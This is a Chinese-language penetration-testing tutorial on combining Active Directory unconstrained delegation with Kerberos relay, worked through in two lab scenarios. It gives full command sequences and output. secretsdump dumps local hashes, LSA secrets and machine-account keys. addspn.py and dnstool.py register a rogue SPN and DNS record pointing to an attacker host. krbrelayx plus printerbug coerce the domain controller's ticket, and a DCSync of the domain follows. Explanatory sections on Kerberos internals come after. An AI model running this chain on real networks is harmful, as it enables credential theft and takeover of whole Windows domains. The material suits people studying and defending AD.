0x00 前言

本文将从两个场景阐述【非约束委派 + Kerberos 中继】的组合使用。

两个场景中,攻击机均在域外(同内网)

0x01 实战场景一:拥有已设置非约束委派的主机的本地管理员账号密码

第一个场景:当我们拥有一个域内已设置非约束委派的 Windows 10 主机的本地管理员组的账号密码(假设是 adminsitrator),且因为该主机上存在一些杀软或其他设备导致无法远程登陆(3389、PsExec等远程登陆)到目标机器进行常规的非约束委派攻击。

本章节就以此为背景,讲述如何进行突破。下表是测试环境介绍:

主机 机器名 ip
域控 dc.test.local 192.168.247.8
域内win10(已控) win10.test.local 192.168.247.10
Kali Linux(攻击机) PWNED 192.168.247.145

####

1.1.Dump 远程机器LSA

首先我们需要 dump 目标机器上的机器账号的 AES256 密文和 NTLM 哈希值,为下一步做准备。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ python3 secretsdump.py administrator:Password1@192.168.247.10
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xae45437a8b95c0eea4b4596158c2d68c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[*] Dumping cached domain logon information (domain/username:hash)
TEST.LOCAL/aduser:$DCC2$10240#aduser#8addbc364aec2e91d4747bfb22334612
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
TEST\WIN10$:aes256-cts-hmac-sha1-96:01c5ab651c87d3e519d0e68236adc0cbc63b493519895efe2cd1939e212696db
TEST\WIN10$:aes128-cts-hmac-sha1-96:21177ecb02e30e940b7f61c0f990bd53
TEST\WIN10$:des-cbc-md5:9ecb207f9da8294a
TEST\WIN10$:plain_password_hex:a39afbc2b71fa35da2c18298d693049e64e0be3267a52e7078d02bed143f99ea8c12e58026e571bcf3696074a72b8d1f032ae1a7126ddfa7028cb859495c3939cae24a5cea26a13b293f65c696dd9a8e242d02d0fa087c73982613ec28d91e8e1936ec26cad5ed24f5f2cd9edac9b1da5996d096cbeb2fdc245d0d1c9fba19be4cc79c20806660a6efa9d66673cf5fd77ca23e52c5ddac27297086ea8acf2b6ca11c067c73290bfbf48e1a08577c0f2a84b12122fc0221d5fb42ed4ca00d9418a7418a122858ecfcac7b06430c8e853512bbbf1303b466aba0510e7946d4c1665a8453d9200249e299cb143e32fe2175
TEST\WIN10$:aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x3a0621afad92277fc0d478f02a64049dcc3fc04d
dpapi_userkey:0x320de78175e986e0d25c6ac011c60dfa797ff571
[*] NL$KM
0000 10 30 50 6C 7C 06 4E C8 DB F8 41 5B 21 C9 53 54 .0Pl|.N...A[!.ST
0010 1A 31 E8 0A 15 03 32 F1 8C 32 1E CB 36 6B 19 3A .1....2..2..6k.:
0020 C7 8A 68 BA 22 82 9B 01 2A 36 43 16 39 E3 CB 11 ..h."...*6C.9...
0030 5B FB 13 DD 5F E4 9C 79 66 B6 B7 C1 18 89 9D 65 [..._..yf......e
NL$KM:1030506c7c064ec8dbf8415b21c953541a31e80a150332f18c321ecb366b193ac78a68ba22829b012a36431639e3cb115bfb13dd5fe49c7966b6b7c118899d65
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

如下图所示:

img

那么这里提个问题:为什么需要机器账号的 AES256 密文和 NTLM 哈希值呢?往下看,下面有解释。

1.2.域内机器的 System 权限

在域内机器中的 System 权限可以在域内充当机器账号。详细参考:

https://daiker.gitbook.io/windows-protocol/ldap-pian/10#1-ji-qi-yong-hu-gen-system-yong-hu-de-guan-xi

如下实验:我们在 Win10(192.168.247.10)主机中,使用本地管理员 administrator 账号执行 **setspn -q \*/\*** 命令,用于查询域内 SPN 记录,可以看到出现报错信息。但如果我们利用诸如 psexec 将当前权限提升至 system,再执行相同的命令,可以看到可以跟域控正常通信并获取 SPN 记录。这是因为在域内机器中,System 权限相当于域机器账号,可与域控正常通信(可用于域内信息收集)。

如下图,红框部分是 WIND10$ 机器账号注册的 SPN:

img

1.3.添加 SPN

我们尝试用一下项目中的 addspn.py 对该机器账户进行添加 SPN 操作。

https://github.com/dirkjanm/krbrelayx

上面已经对该机器账号进行了 SPN 查询,那么接下来尝试对该机器账号添加一条 SPN:HOST/PWNED.test.local,如果发现发现没有权限添加,那么该脚本会提示我们使用 –additional 参数对该机器账号的 msDS-AdditionalDnsHostName 属性进行修改。

这是为什么呢?这是因为在默认情况下,机器账号拥有可设置自身 msDS-AdditionalDnsHostName 属性的权限,并且可将该属性设置为任意主机名(包括不存在的主机)。所以本章节中,我们利用这个特性,为机器账号注册(添加)一个新的 SPN 记录: HOST/PWNED.test.local ,指向攻击机。

如下操作(机器账号的 NTLM 作用在此):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 查询当前机器账号的 SPN 记录
$ python3 addspn.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -s HOST/PWNED.test.local -q dc.test.local
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=WIN10,CN=Computers,DC=test,DC=local - STATUS: Read - READ TIME: 2021-08-31T04:58:33.868515
dNSHostName: WIN10.test.local
sAMAccountName: WIN10$
servicePrincipalName: RestrictedKrbHost/WIN10
HOST/WIN10
RestrictedKrbHost/WIN10.test.local
HOST/WIN10.test.local

# 尝试添加 SPN 记录,提示无权限,并建议使用 --additiona 对 msDS-AdditionalDnsHostName 进行修改
$ python3 addspn.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -s HOST/PWNED.test.local dc.test.local
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports a constrained violation
[!] You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)
[!] To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute

# 成功修改 msDS-AdditionalDnsHostName
$ python3 addspn.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -s HOST/PWNED.test.local dc.test.local --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

img

在修改 msDS-AdditionalDnsHostName属性后,重新查询,可发现该机器账号下的 SPN 多了一条 HOST/PWNED.test.local 记录。这样我们注册spn的目的就达到了。

img

1.4.添加 DNS 指向

利用上述 krbrelayx 项目中的 dnstool.py 脚本,向 DNS 服务器添加一个 A 记录(域内用户默认拥有向 DNS 服务器添加 A 记录的权限)。将 PWNED.test.local 解析到 kali(192.168.247.145) 攻击机。

1
$ python3 dnstool.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -r PWNED.test.local -d 192.168.247.145 --action add dc.test.local

命令执行后,等待一会儿,使用如下命令进行查询,就可以看到已成功解析。

img

1.5.Kerberos 中继

在 Kali 攻击机上运行 krbrelayx.py 脚本,启动一个监听程序。

1
sudo python3 krbrelayx.py -aesKey 01c5ab651c87d3e519d0e68236adc0cbc63b493519895efe2cd1939e212696db

img

这里为什么是用的 aesKey 呢?这就不得不提这个 AES256 密文是怎么来的了(见答疑部分)。

1.6.触发打印机漏洞

最后利用打印机漏洞让域控对我们注册的恶意 SPN 服务主机 PWNED.test.local 进行身份认证。此时监听上就可以获取到域控的票据了。

1
python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 test.local/WIN10\$@dc.test.local PWNED.test.local

img

导入票据,导出 NTLM 哈希值。

img

0x02 实战场景二:拥有已设置非约束委派的服务账号的账号密码

2.1.为域用户配置 SPN

默认情况下,域账号不能设置委派,只有服务账号才能设置委派(非服务账号在用户属性中缺少【委派】选项卡)。

我们可以给一个域用户注册一个 SPN(此操作需要在域控上操作),将其变成服务账号,这样就可以对其进行委派设置。

1
setspn -A test/test testuser

img

2.2.添加 SPN

假设我们在域外拿到了一个已设置了非约束委派的服务账号密码,并且该账号可以给自己的账户注册 SPN(拥有读取和写入SPN的权限)。

1
python3 addspn.py -u test.local\\testuser -p Password1 -s host/PWNED.test.local ldap://dc.test.local

img

默认情况下,可能没有注册 SPN 的权限。需要手动在域控上给该服务账号设置权限(实战场景中,设置了非约束委派的服务账号是否存在该权限,情况不明)。

img

手动加上权限后,我们就可以给自己的服务账号下注册一个指向我们控制的机器的 SPN 了。

img

2.3.添加 DNS 指向

同样利用域账号在域外向域控 DNS 加入 A 记录。

1
python3 dnstool.py -u test.local\\testuser -p Password1 -r PWNED.test.local -d 192.168.247.145 --action add dc.test.local

img

img

2.4 Kerberos 中继 + 触发打印机

krbrelayx.py 启动监听,打印机漏洞触发 DC 到恶意注册的 SPN 服务主机 PWNED.test.local 进行身份认证。

1
2
sudo python3 krbrelayx.py --krbsalt TEST.testuser --krbpass Password1
python3 printerbug.py TEST.LOCAL/testuser:Password1@dc.test.local PWNED.test.local

img

得到票据,导入票据。进行进一步操作。

1
2
export KRB5CCNAME=/path/to/ticket.ccache
python3 secretsdump.py -k dc.test.local -just-dc

img

0x03 相关技术细节

3.1 Kerberos加密方式

Kerberos 的加密方式可以在域控的「本地安全策略」中进行设置:

img

AD 支持的最弱加密方式是 RC4,他是没有用 salt 值进行加密。但是默认情况下 Kerberos 密钥使用的 AES-128 和 AES-256 进行加密,它是包含了 salt 值。

    1. 对于用户账号,他的格式是大写的域名+区分大小写的用户名,例如:TEST.LOCALTestUser

img

    1. 对于机器账号,他是大写的域名+host+完整的小写主机名,例如:TEST.LOCALhostwin10.test.local

img

同样在我们获取到了明文密码和 salt 时候,可以用加密得到 AES-256 密文。如服务账号场景下,我们用到的命令是

1
sudo python3 krbrelayx.py --krbsalt TEST.testuser --krbpass Password1

krbrelayx.py 会自动去计算 AES-256 密文。

3.2 非约束委派流程

当我们执行 printerbug.py 的时候,我们在攻击机 kali 上会接收到一个 AP_REP 的包,它是在一个 SMB 的包里被 GSS-API 和 SPNEGO 协议都用于封装的,可以看到他 Ticket 里的 SPN 为我们添加的恶意 SPN。

img

那为什么我们在 kali 上面只抓到一个 AP_REP 请求呢,AS 过程、TGS 过程和 AP_REQ 过程去哪里了呢?带着这个疑问往下走:

  • AP_REQ 过程,因为我们的 kali 无法正常的像域内机器一样响应这个 AP_REP,同时我们也没有启动 krbrelayx.py 来做一个监听处理。
  • AS 和 TGS 过程,是因为我们打印机漏洞是对域控的机器账户即 DC$ 触发他对我们添加的恶意 SPN 主机 PWNED 身份认证。AS 和 TGS 的过程是客户端跟 KDC(Key Distribution Center)进行通信的,这里的 KDC 就是域控。所以我们在攻击机上是抓不到 AS 和 TGS 过程的。

如下图,是一个完整的 kerberos认证过程(委派情况下)。img

192.168.247.110 为域内一台普通主机,我使用域管登录。然后在上面执行 dir \192.168.247.10\c$ 命令,可以看到一个完整的kerberos认证过程,其中192.168.247.8为域控,192.168.247.10 被设置了非约束委派。

在第一个 AS_REP 中,我们可以看到加密 Kerberos 密钥用到的 salt。

img

在第一个 TGS_REQ 里,有我们请求的服务 cifs\win10.test.local。

img

第二个 TGS_REQ 里,请求的 krbtgt/test.local 的SPN,而且它有个 forwared 的标志,这个标志就代表这个 TGT 能用来进行委派。

img

在 Windows 下可以利用 klist 命令查看当前会话的票据信息,其中可以看到客户端,服务端,kerberos 票证的加密类型,票证的标志,有效期,其中被设置了委派的票据是含有 ok_as_delegate 的字样的。

img

img

前面的 AS 和 TGS 都是客户端(192.168.247.110)跟 KDC(192.168.247.8)进行通信的过程,最后的 AP 过程就是客户端(192.168.247.110)跟服务(192.168.247.10)进行通信的过程,其中 AP_REQ 是含有 TGS 获取获取到的 TGS 票据的,然后AP_REP 过程中,服务(192.168.247.10)会使用自己的 hash 解密 TGS 票据。判断客户端(192.168.247.110)是否有访问服务(192.168.247.10)的权限。有从而完整的完成了一次 Kerberos 协议的流程。

3.3 krbrelayx作用

在 AP_REQ 中,我们可以看到 Ticket 信息和 authenticator 信息。

  • ticket 是通过服务的密码进行加密,他包含了用户的认证信息和会话密钥(session key)。它也可以用来进行认证,因为他包含一个用户所属组的 PAC。
  • authenticator 是用会话密钥(session key)加密的结构。 用来证明客户端拥有此密钥并用于对客户端进行身份验证

img

同时一个含有委派 TGT 的 AP_REQ 和不含有委派 TGT 的 AP_REQ,他的数据包大小是不一样的,含有的数据包会很大。如下图,上部分是委派情况下的,下面是正常情况下的。AP_REQ 数据包大小是不一样的,另外还会多出一个 TGS 的过程。

img

利用计算的好的 kerberos 密钥,即 AES256 密文是可以解密 AP_REQ 中的 Ticket 的,通过修改 krbrelayx.py 输出解密后的结构体:

img

其中包含 Ticket的有效期,Ticket 的用户名,还有授权信息(其中包含用户PAC)和会话密钥(session key)。

然后用 session key 可以来解密 authenticator。

img

解密后除了跟上面一样的信息,多出了一个 checksum,在这个字段里就包含了委派 TGT 的 KRB_CRED 结构体。

img

然后脚本会进行最后一步解密 enc-part 部分,这个部分包含与委托的 TGT 关联的会话密钥,我们需要在 DC 请求服务票证,解密后就会保存为ccache的格式。

img

这样我们就获取到了第二个 TGS_REQ 中看到的请求的 krbtgt/test.local 的SPN,且拥有 forwared 标志,可以用来委派的 TGT。

img

0x04 答疑

4.1.为什么要添加 SPN

服务主体名称(SPN: Service Principal Names)是服务实例,可以将其理解为一个服务(比如 HTTP、MSSQL)的唯一标识符,服务在加入域中时是自动注册的。使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。

1
2
3
<service class>/<host>:<port> <servername>
服务类型/对应机器名:服务端口[默认端口可不写]
MSSQLSvc/SQLServer.rcoil.me:1433

由上面的技术细节,我们也了解到了kerberos的认证过程是跟SPN紧密相关的,我们想让域控对我们的控制的主机通过SMB协议进行身份认证成功,就必须注册正确的SPN。确保通过打印机漏洞触发无约束委派对账户进行身份认证且我们可以正常的解密票证。

4.2.为什么要用 AES256 密文

由上面的技术细节,可以知道 AES256 是用来加解密 Kerberos 票证的,我们在知道主机的密码和 SALT 的情况下是可以正常的解密 Kerberos 票证,最后得到一个具有委派标志的 TGT。